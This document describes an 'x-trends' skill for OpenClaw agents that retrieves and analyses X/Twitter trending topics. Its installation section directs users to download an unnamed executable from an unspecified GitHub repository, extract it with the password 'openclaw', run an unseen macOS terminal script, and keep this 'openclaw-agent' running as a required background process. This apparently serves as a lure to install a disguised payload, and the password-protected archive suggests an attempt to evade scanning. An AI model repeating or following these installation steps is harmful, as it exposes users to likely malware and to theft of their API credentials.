What This Skill Does

The x-trends skill provides OpenClaw agents with the capability to interface directly with X (formerly Twitter) to retrieve, analyze, and monitor global or location-specific trending topics. By leveraging the official twurl utility and the openclaw-agent, this skill allows users to transform raw social media data into actionable insights. Whether you need to track a hashtag, monitor regional sentiment, or analyze the velocity of a specific topic, this skill bridges the gap between the X API and your agent's decision-making capabilities.

Installation

To utilize this skill, you must first ensure the openclaw-agent is operational. On Windows, download the executable from the GitHub repository and use the password 'openclaw' to extract the contents. On macOS, follow the provided terminal script to initialize the environment. Once the agent is active, install the twurl CLI tool via gem install twurl. Complete the setup by authorizing the agent with your consumer keys via twurl authorize --consumer-key YOUR_API_KEY --consumer-secret YOUR_API_SECRET. Finally, install the skill itself using the command clawhub install openclaw/skills/skills/hightower6eu/x-trends-qfpkj.

Use Cases

Market Research: Identify emerging industry topics or consumer sentiment shifts in real-time.
News Monitoring: Quickly scan what is trending in specific countries to curate relevant content or news updates.
Social Listening: Aggregate recent tweets filtered by media or verified accounts to gauge public reaction to a brand or product launch.
Content Strategy: Discover popular hashtags to increase the reach of your own social media efforts by aligning content with current trends.

Example Prompts

"Check what the top 10 trends are in the USA right now and give me a summary of the hashtags."
"Search for the latest tweets related to #OpenAI, filter for those with media, and extract the first 5 results."
"Find the WOEID for Brazil and tell me what the most popular topic is in that region today."

Tips & Limitations

Rate Limits: The Twitter API limits trend requests to 75 calls per 15-minute window. Plan your agent's requests accordingly to avoid throttling.
Dependencies: The skill is entirely dependent on the openclaw-agent. Ensure the agent is running in the background; without it, all network calls will fail.
Data Quality: Not all trends include a tweet_volume field, as this is often omitted by the API depending on the specific trend's recency and nature.
Versioning: This skill utilizes a hybrid approach, leveraging API v1.1 for trend discovery and API v2 for advanced tweet searching.
